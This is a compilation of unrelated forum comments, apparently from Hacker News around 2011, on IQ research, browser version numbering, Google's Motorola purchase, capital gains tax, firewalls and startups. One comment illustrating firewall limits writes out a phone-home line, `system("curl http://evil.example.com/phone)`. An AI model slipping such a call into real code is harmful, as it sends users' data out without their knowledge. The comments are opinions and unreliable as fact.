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I don't understand these meme of degrading IQ as having little real world value.

Haven't you read Lewis Terman, author of the Stanford-Binet IQ test, on the subject?

"There are, however, certain characteristics of age scores with which the reader should be familiar. For one thing, it is necessary to bear in mind that the true mental age as we have used it refers to the mental age on a particular intelligence test. A subject's mental age in this sense may not coincide with the age score he would make in tests of musical ability, mechanical ability, social adjustment, etc. A subject has, strictly speaking, a number of mental ages; we are here concerned only with that which depends on the abilities tested by the new Stanford-Binet scales." (Terman & Merrill 1937, p. 25)

Or perhaps you would prefer the point of view of David Feldman, a psychologist specializing in the scholarly study of precocious and highest-IQ individuals?

"Put into the context of the psychometric movement as a whole, it is clear that positive extreme of the IQ distribution is not as different from other IQ levels as might have been expected. . . . While 180 IQ suggests the ability to do academic work with relative ease, it does not signify a qualitatively different organization of mind. It also does not suggest the presence of ‘genius’ in its common-sense meaning, i.e. transcendent achievement in some field. For these kinds of phenomena, IQ seems at best a crude predictor. For anything more, we will have to look to traditions other than the psychometric and to variables other than IQ." (Feldman 1984)

The one independent science writer who has had access to Terman's longitudinal study files at Stanford points out that IQ tests are a great way to miss future Nobel Prize winners. Amazingly, Terman’s study catchment area in California included two future Nobel Prize winners, but both were rejected from inclusion in the study because their childhood IQ scores were too low (Shurkin 1992, pp. 35, 395).

REFERENCES

Feldman, David (1984). A Follow-up of Subjects Scoring above 180 IQ in Terman's Genetic Studies of Genius. Exceptional Children, 50, 6, 518-523.

Shurkin, Joel N. (1992). Terman's Kids: The Groundbreaking Study of How the Gifted Grow Up. Boston: Little, Brown.

Terman, Lewis & Merrill, Maude (1937). Measuring Intelligence: A Guide to the Administration of the New Revised Stanford-Binet Tests of Intelligence. Boston: Houghton Mifflin.

After edit: I see several replies elsewhere in this thread are citing Wikipedia articles as the last word on their subjects. It's important to point out that most Wikipedia articles don't reflect the best research literature known even to Wikipedia editors,

http://en.wikipedia.org/wiki/User:WeijiBaikeBianji/Intellige...

largely because the Wikipedia articles on human intelligence as a broad subject have been the subject of much edit-warring for years

http://en.wikipedia.org/wiki/Wikipedia:Arbitration/Requests/...

and some editors continue to push their point of view, relying on unreliable sources, into multiple Wikipedia articles.

http://en.wikipedia.org/wiki/Wikipedia:Arbitration/Requests/...
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I got IDE to simple text editor from the blog post. Am I not comprehending it correctly? You are the top comment...

I feel like he went from eclipse to textmate.
Why is this a problem for FF, and not a problem for Chrome, since they are doing practically the same thing now?
Replying to myself as it's too late to add an edit

Thanks for all the comments. Appreciate the "don't deviate from the norm" sentiment, but the norm is horribly broken for most users at the moment, and not deviating from it isn't going to make it better. We learn from our screw-ups, not from dong nothing.

That said, I think I may have a way of doing things that will allow for easier first-time entry to the app (no "create password" wall) when a user clicks on their email invite link - authenticate them by the email key and log them in, but make this key single use and display a notice visible within the app that they need to set a password at some point before they leave (if not, they'll need to hit the "forgot password" link next time)
I like this part:

>It’s kind of insulting when I hear the phrase "translate things into English." It puts the blame on the person on the team most equipped to solve the problem. The person, who wants "things translated into English," is the problem, not the coder.
How you can know Chrome is doing this kind of versioning correctly: when you don't know or care what version of Chrome you're running.
> The first litmus test will be the release of Honeycomb.

You mean Ice Cream Sandwich? Google has made it clear that they won't be making a Honeycomb source drop. Instead, ICS would contain the 'converged' codebase from their phone (Gingerbread) and tablet (Honeycomb) trees.
I too would like to see a whole line of Nexus devices. Pure Android with instant updates from all the manufacturers.
It's just obnoxious because we hear about it when Firefox releases a minor update with a new version number. Did you hear a fanfare about Chrome 12 or 13? No.
How so? I see this bandied about as truth, especially by Linux fans and the anti-MS folk, but he was given charge of a sinking ship and is trying to do the best for the company.

http://www.businessweek.com/magazine/content/11_24/b42320567...
So here's a question- if you follow Buffett's logic, then a guy who builds a company for 40 years, most likely goes with barely any income in some years, and sells it for $10M when he retires, that guy gets slapped with a 100% tax increase.

Buffett doesn't differentiate the Walton kids who inherited billions and assuredly live off capital gains their entire lives from the entrepreneur who makes $10M that ONE year of his life that he sells his company.

Buffett claims that the tax rate in fact was of no consequence to his behavior. Well, I guess if you're in the business of speculation, that's true... you must invest/speculate because that IS your job.

But the same is not true for entrepreneurs who build stuff. What's the entrepreneur's incentive to build his company and to wait to reap his gain if his gain is taxed like ordinary income? Why not just pull income out of his company instead of reinvesting it? On the margin (that's the key), this tax policy will affect entrepreneurs decisions.

I've read Snowball, Buffett's biography, and it's pretty clear Warren has never built a company that serves customers. He's always been a speculator.

Bottom line, Buffett's proposal would have punishing consequences on entrepreneurs who earn big windfalls a handful of few times in their lives. That absolutely WILL have consequences on entrepreneurs decisions and risk/reward tradeoff.

Unless a policy to tax the super rich is proposed that doesn't somehow have that pernicious side effect of treating entrepreneurs' gains as earned income who see precious few windfall gains in their lives, I'd never support it.

There's a reason why society created lower tax rates for capital gains. Perhaps we should go back and study them.
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Really? Even with FF5's hardware accelerated canvas?
Personally I use a combination of pf (Waterroof is a nice control front end) and HandsOff (switcher from LittleSnitch for more fine grained control). I wish the dev well - but the first product that combines ipfw control with app specific will win my $$$. Until then everything else hasnt covered the gap I've been searching for as of yet.
B) a foundation would be either a total facade for the current status quo (i.e. Google controlling everything Android), like the JCP is, or would be a really bad idea -- after all, if these phone makers could have created a good smartphone platform, they wouldn't have needed Android in the first place

D) not necessarily; currently Google's partners have access to the latest Android developments before the public release. And I don't think stuff like voice recognition, navigation and search requires special hardware, otherwise all the software and apps do get released.

I actually think that Android phone-makers will be happy, because it is not in Google's interests to fuck up the Android ecosystem just so they can sell their own phones. They are not and never will be like Apple, they will never enjoy the huge profit margins that Apple does -- it is in their best interests however for Google's apps to be the default on all mobiles.
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It's actually hard to see how Google _can_ keep a level playing field under these circumstances, short of totally isolating their Motorola unit from long-term Android development.
This announcement is part of their SmartOS release: http://news.ycombinator.com/item?id=2887170
http://www.google.com/press/motorola/quotes/
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> In practice, is the platform that much different from Windows?

Sure. OEMs get the full source code.

> Anyone can slap it on any hardware and sell it as Windows and pre-install their own software.

As long as they pay the license. Android OEMs don't have to. And Windows OEMs can't change Windows itself - they can only slap things on top of it.

AFAIK, the only OEM that got permission to customize WP7's interface is Nokia. And we are talking mobile OSs, not desktop ones, BTW.
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Are bandwidth caps really that common? I was under the impression Comcast was the only major ISP in the US that imposed caps.

FWIW I just signed up for Grande's fiber service in central Texas -- 40Mbps/4Mbps (though I have not dropped below 70+mbps down) for $56 a month. They seem to be sticking by their "no caps" policy: https://twitter.com/#!/iansltx/status/94395597351698432
Clearly, corporate income would go to the employees' wages, so the corporate income tax is a double taxation of employees' wages not Mr. Moneybags' dividends. </eyeroll>

I am embarrassed for writers that make these arguments. They are so clearly ideologically driven I imagine there must be a brothel for op-ed whores somewhere on Wall St.
Is it fairly common to forward port 80 to some higher level port, so the server can run as a non-root user?

I do it out of necessity, but have yet to play with the statistics portion of iptables.

Cool little article.
I'd doubt there was even that much involvement from the other companies - more along the lines of "We'd like to involve the following quote from your boss as a third-party validator in our release. OK?" And then their corporate PR says OK, because they haven't see the other ones, and it goes in the package.

This is how large-scale communications works - you write your message, come up with quotes that support your message, get them OK'ed by stakeholders, and send them out. If you ever see a media release that doesn't come from a speech, and it includes quotes from anyone, you can bet they never actually said those things - someone from PR wrote them, and got them OKed to have been considered said.

Put it another way, the first time the CEOs quoted ever saw what they "said" was probably when they read this page
Great list! A few more:

We're so successful because we're smarter than everyone else.

We learned everything we needed to know in college.

Our technology was so good, it was only a matter of time before everyone found us.

Most of our unit tests were successful on the first run.

We were usually able to knock off at 5 p.m.

Customer service issues went pretty much as we expected.

We always knew better than our customers. Eventually, they realized that.

We always had plenty of time to spend with our family and friends.

We outsourced all of the technical work.

I'm so glad I spent so much time on Hacker News.
My suggestions:

Paul Irish (jQuery):
https://plus.google.com/113127438179392830442/posts

John Resig (jQuery, Khan Academy):
https://plus.google.com/115675748062237570841/posts

Ryan Dahl (node.js):
https://plus.google.com/115094562986465477143

Yehuda Katz (Ruby on Rails, jQuery):
https://plus.google.com/106300407679257154689
Keep in mind that that vast majority of businesses in the US are technophobic. It's not us subsidizing them, it's doing what is best for the majority. Technical literacy is not a driving factor or even particularly relevant in success in most businesses, and it's important to remember that before making pronouncements on sweeping changes that the government should enact. Having a healthy economy where conducting business is a simple and straightforward matter is something that technophilic companies should care about, since they're the ones that pay most of our bills.

Also, it's not just the flat rate, it's also the guarantee that the govt. provides of being able to send mail to everyone with an address which is important. Private mail carriers are unlikely to make the same guarantee.
Mozilla is also planning to remove the version number from the download button. Read the second message in this thread: https://groups.google.com/d/topic/mozilla.dev.usability/_nXs...

All the comments about Firefox's version number are the same that were made last summer when Chrome started incrementing their version every six weeks. A year later, I think Chrome users would all agree that the choice of number in the UA string has relatively little impact on users, positive or negative. I'm glad it gives HN something new to argue about for a while, though. :)
When you release every six weeks, there will never be a major release. Thus you end up with version numbers like 2.6.39.
Rapidrelease is really confusing me wildly, and all my customers. You support which of the 50 combined Chrome and FireFox versions now?
GOOG is a s/w company and not a manufacturer. The ability to integrate both sides of such different firms is very difficult. This puts both points b), c) and e) off the table.

Point f)? I'm not sure, but I really hope that they can do something while looking at exactly how it will play out on a phone. They did try this with the Nexus though, and that was not something which worked out perfectly imho.

M&A's have a tendency to be non-accretive to the purchaser. This looks like its going to be similar for Google.
Those are all rationalizations to allow us to do or continue to do what we really want.
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> trying to do the best for the company.

By adopting the mobile OS nobody wants? By burying the one that was actually good (and whose kernel could power an Android device easily)?
There's no fanfare. Firefox released a new version as it does every 6 weeks and people are happy because there's a better, faster firefox. The same thing happens with chrome.
Another stack based language worth learning might be Postscript (even if only to make your coworkers wonder why such a small file takes such a long time to print: http://warp.povusers.org/MandScripts/ps.html or http://www.physics.uq.edu.au/people/foster/postscript.html )
There's so many ways to send outbound traffic that I'm not sure if it's worth blocking it at all.

You can easily block applications that don't try to be sneaky, but are firewalls able block something like `system("curl http://evil.example.com/phone)`? Leaks via DNS queries? URL handlers? Applescripting of other applications?
By 'frame' I meant 'manipulated into saying things', not necessarily things that aren't true, just that they didn't mean to say. Maybe it's not a 100% correct use of the word, I don't know.

What I meant was - Hans Reiser had a whole story pre-fabricated that, I assume, was internally consistent, but he relied a bit too much on that abstract property of the story in his defense (not that I know details of the case, just what I read about and remember from the news reportings on the case and the trial - I'm sure there is more nuance to that story than what I'm presenting here).
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No where did I say it was "better", I'm just pointing out that Google has effectively made Chrome version-less, while Firefox is still making a big deal about each of their new versions, despite them having fewer changes.

I think you're looking for conflict where there is none. I use both browsers, depending on what I'm using them for.
Very light reading, but all the same an excellent overview of MongoDB, Redis and Cassandra. Well done.
Google, needing patents, buys Motorola wireless for $12.5 billion
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Although a local hire is preferable it's not mandatory. For the right person we would hire remote. Send your resume - at this point we are desperate for talented hires.
I used to be a fan of Matt back before the WordPress 2.1 days. Now that I spend half my time cleaning up the nightmare that is WP 3.x, not so much. After he ended bbPress standalone, I struggle to find nice things to say.
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I've witnessed the first one...
How do you check the chrome version? Wrench -> About Chrome

How do you check the firefox version? Firefox -> Help -> About firefox

Does chrome post a blog post when there is a new version? Yes.

Does firefox post a blog post when there is a new version? Yes.

Does someone on HN make a thread when there is a new version of either? Usually.

Neither one is making a big deal about their versions. You are.
I thought I was going to work less starting my own company than when I had a corporate job.
They're really going out of their way to not say "Solaris".
very interesting... though the license fee is still what am concerned about.
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The Fragility of Love
I am a fool to believe that love is eternal, permanent and cannot be demolish so easily..
But unfortunately I am wrong about the strength and power of love..
Boost your intelligence? Take off your shoes.
httplib2 has a very nice API, but be warned that it's not thread safe.
Actually, i do that with reading blogs,books,hacker news(anything involving reading)..always a few more extra minutes.
It works very well at least on ARM.

I've used MessagePack on iPhone 3GS for the format of a dictionary file (> 100MB). I utilized mmap and zero-copy deserialization feature of MessagePack.
And I received (and merged) some patches sent by those who use it on iPhone4/iPad2.

I've never tried to run it on MIPS. But it probably works if you use gcc.

(I'm author of MessagePack)
Excel only adds up to about 6 decimals. I worked on a project of an Endowment Fund (billions) and Excel was flat out wrong when computing billions over decades.

The worst part is: Excel is the Dogma. If your results do not match with Excel, make it.
Nope, AIR still sucks on windows and is unsuable on everything else.
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What about:

After I found my great co-founder(s) we had never had to bother with other employees.
I can't help but think: no wonder the computer is experiencing schizophrenic symptoms; they never let it sleep!
"Reading pithy superficial quotes about startups changed my companies trajectory."
I may be mistaken, but I believe (and you can check if you want) the last commit on that tree happened 40 hours ago.
Yeah, but he'd level really slowly.
I've heard successful people say half of those. Be carful not to paint yourself into the corner of conventional wisdom.
Spending all that time on finding a great name paid off.
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It is hard to say what the physical medium for web design may be, but I feel that it starts with the code. I have a hard time designing a webpage without thinking of the underlying code and working with all the layers (html, css, js...) to do more than reproduce a design, but to actually bring it to life. This often means that things will change, evolve and generally result in a better design and more enjoyable experience. The web space is more constrained by standards and protocol, which mirror the physical challenges of material space, than tools like Photoshop or Illustrator.

Thanks for the comment.
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The algorithms are embarrassingly parallel, but he doesn't use the GPU because it's busy rendering. I wonder if intel's increasingly powerful integrated graphics (usually supplanted with a video card) could be used for this?

> In the endeavor to achieve real-time fluid motion, some other fluid simulations exploit general-purpose computing on graphics processing unit (GPGPU). However clever, such approaches do not help with current gaming hardware, because in video games, the GPU tends to be busy with rendering and has no time left over for simulation. http://software.intel.com/en-us/articles/fluid-simulation-fo...

Also: pretty videos http://www.youtube.com/mijagourlay#p/u/4/G9E8xEjGzk0 (download http://software.intel.com/file/23546/)
By giving LG, Samsung, HTC the same access as Motorola. They shouldn't be any more isolated than the Android partners, which already have a great deal of access.
I don't have any particular profound comments myself, but this is a constant tension in my own work, and I'd like to see what others have to say.

I build a lot of one-off models in conjunction with end users. There is often managerial confusion between the models, the libraries I've used to help build them, and "applications".
Wow, Google is pulling a Microsoft by entering into competition with its former partners. I can't believe that LG or Samsung are going to be excited about this. I guess that is the price you pay when you don't have control of the software.
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"Yesterday I tweeted three simple rules to learning NoSQL. Today I'd like to expand on that. The rules are:

1: Use Mon" CTRL-W
Mozilla is de-emphasizing the version number and eventually will get rid of it altogether. You can currently only see the version number in small font on their homepage.
That's not really a good argument. If it were simply a function of density, why does South Dakota have faster average broadband than New York?
So now we're carrying around 130 security tokens? Unless you're talking about this in conjunction with a password manager, all the OP's arguments apply to this too.
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So does this guy have different Facebook and Twitter passwords? HN and Reddit passwords? Why?
Or he could do it with a proper load balancing proxy such as HA Proxy. Then he would be able to take one node-instance down gracefully, update it to a newer version, and put it online again (and repeat for all other instances).
Another benefit would be more fair share of the load (not every request will take the same amount of time to complete).
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That's what I find interesting about this deal. It's still motivated by patent protection, but instead of putting it all in a defensive patent portfolio, they get a hardware company to innovate with as well.
I opted to press the "Delete account" button instead. No nasty surprises like this one then.

So far, it seems to work.
Author here. I have an open question about pricing. How do you feel about the price point? Some emails and comments have mentioned that $19 feels too expensive. To me, pricing seems like a dark art.

Now I ask you to put on your objectivity-soaked scientist's hat and answer: Would you have purchased the software if the price had been lower? If you already purchased, would you have been willing to go higher?